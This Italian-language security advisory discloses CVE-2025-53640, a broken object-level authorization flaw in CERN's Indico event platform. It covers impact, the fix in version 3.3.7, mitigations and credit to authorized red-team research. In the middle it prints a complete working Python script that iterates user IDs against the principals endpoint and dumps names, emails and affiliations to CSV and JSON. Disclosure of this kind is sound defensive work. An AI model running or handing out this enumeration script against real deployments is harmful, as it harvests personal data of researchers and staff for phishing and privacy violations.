
Broken Object Level Authorization (BOLA) in Indico del CERN porta all'enumerazione di utenti autenticati.
PoC e analisi tecnica di CVE-2025-53640: una vulnerabilità di Broken Object Level Authorization (BOLA) in Indico consente l'enumerazione di utenti autenticati tramite endpoint, esponendo nomi, email e affiliazioni. Include script di exploit, analisi delle richieste e screenshot. Colpisce le istanze Indico distribuite globalmente (European Organization for Nuclear Research (CERN), United Nations (UN), Massachusetts Institute of Technology (MIT), European Space Agency (ESA), tra le altre).
Una vulnerabilità di Broken Object Level Authorization (BOLA) nell'applicazione open source Indico consente l'enumerazione massiva di utenti tramite l'endpoint.
Originariamente destinato a risolvere gli ID utente in specifici campi di modulo, questo endpoint può essere abusato per recuperare i dati personali di qualsiasi ID utente valido:
Nome completo
Indirizzo email
Titolo
Affiliazione
URL dell'avatar
La vulnerabilità è stata segnalata e riconosciuta dai manutentori di Indico ed è ufficialmente tracciata come CVE-2025-53640
È richiesta una sessione autenticata valida.
Tuttavia, la maggior parte delle istanze pubbliche di Indico consente l'auto-registrazione senza verifica email, CAPTCHA o approvazione manuale.
Questo rende la vulnerabilità di fatto sfruttabile da utenti non autenticati dopo una banale creazione dell'account.
Indico è una piattaforma di gestione di eventi e conferenze ampiamente adottata, sviluppata dal CERN (European Organization for Nuclear Research), che alimenta l'infrastruttura accademica e istituzionale a livello globale:
CERN (European Organization for Nuclear Research): Oltre 900.000 eventi all'anno; 200+ sale prenotate ogni giorno.
Nel mondo: Circa 145.000 eventi/anno in oltre 300 istituzioni.
UN (United Nations): Oltre 180.000 partecipanti/anno.
UNOG (United Nations Office at Geneva): Fino a 700.000 utenti/anno.
Ampiamente utilizzata da università, laboratori, istituti di ricerca e agenzie governative.
Esempi di istanze pubbliche interessate:
A causa della sua ampia adozione in ambienti scientifici, accademici e governativi, questa vulnerabilità comporta seri rischi:
Perdita di identità di ricercatori, personale e amministratori
Violazioni della privacy su larga scala ed esposizione delle rubriche istituzionali
Ricognizione mirata per phishing o social engineering
Potenziale compromissione di iniziative sensibili di ricerca e politiche
Divulgazione di dati personali (PII)
Enumerazione di utenti con privilegi elevati (amministratori, organizzatori)
Supporta operazioni di phishing di massa e spear-phishing
Viola normative come GDPR, LGPD e politiche istituzionali interne
Può costituire una violazione notificabile a seconda della giurisdizione
Il problema è stato corretto in Indico v3.3.7.
Secondo i manutentori, il comportamento dell'endpoint è stato modificato per impedire il dump in massa dei dati utente (nome, affiliazione ed email) tramite ID prevedibili. È stata inoltre introdotta una nuova flag di configurazione ALLOW_PUBLIC_USER_SEARCH.
Ulteriori mitigazioni includono:
Limitare i controlli email in fase di registrazione
Disabilitare la risoluzione dei link alle persone quando la ricerca pubblica è disattivata
Aggiungere avvisi nell'interfaccia per gli eventi senza ACL in modalità di ricerca ristretta
#!/usr/bin/env python3
import requests
import json
import csv
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = "https://indico.<URL>/api/principals"
headers = {
"Cookie": "indico_session=YOUR_SESSION_COOKIE_HERE",
"Content-Type": "application/json",
"X-Csrf-Token": "YOUR_CSRF_TOKEN_HERE"
}
def enumerate_users(max_errors=10):
user_id = 1
errors = 0
results = []
while errors < max_errors:
payload = {"values": [f"User:{user_id}"]}
response = requests.post(url, headers=headers, data=json.dumps(payload), verify=False)
if response.status_code == 200:
data = response.json()
key = f"User:{user_id}"
if key in data and not data[key].get("invalid", True):
user = data[key]
print(f"[+] ID {user_id}: {user['first_name']} {user['last_name']} - {user['email']}")
results.append({
"user_id": user_id,
"name": f"{user['first_name']} {user['last_name']}",
"email": user["email"],
"affiliation": user["affiliation"],
"title": user["title"],
"avatar_url": user["avatar_url"]
})
errors = 0
else:
print(f"[-] ID {user_id}: Invalid")
errors += 1
else:
print(f"[!] ID {user_id}: HTTP Error {response.status_code}")
errors += 1
user_id += 1
with open("enumerated_users.json", "w", encoding="utf-8") as jf:
json.dump(results, jf, indent=2, ensure_ascii=False)
with open("enumerated_users.csv", "w", newline="", encoding="utf-8") as cf:
writer = csv.DictWriter(cf, fieldnames=["user_id", "name", "email", "affiliation", "title", "avatar_url"])
writer.writeheader()
writer.writerows(results)
print("Enumeration finished.")
if __name__ == "__main__":
enumerate_users()
Limitare l'accesso all'endpoint in base al ruolo o al contesto
Impostare ALLOW_PUBLIC_USER_SEARCH = false in indico.conf
Limitare i campi utente esposti al minimo necessario
Disabilitare o limitare l'auto-registrazione (es. verifica email, approvazione dell'amministratore)
Abilitare il monitoraggio e il rate-limiting sull'endpoint
Aggiornare immediatamente a Indico 3.3.7 o versioni successive
Monitorare i log di accesso per individuare pattern di enumerazione
ID ufficiale: CVE-2025-53640
Questa vulnerabilità è stata scoperta durante una valutazione della sicurezza condotta nell'ambito del Red Team Residency Program presso RNP (Rede Nacional de Ensino e Pesquisa – Brasile).
Tutte le ricerche e i test sono stati eseguiti con autorizzazione e supervisione preventive. Un ringraziamento speciale al RNP Security Team per la guida etica e il supporto infrastrutturale.
Questa CVE sottolinea l'importanza di applicare un controllo degli accessi a livello di oggetto rigoroso nelle piattaforme che gestiscono dati istituzionali sensibili.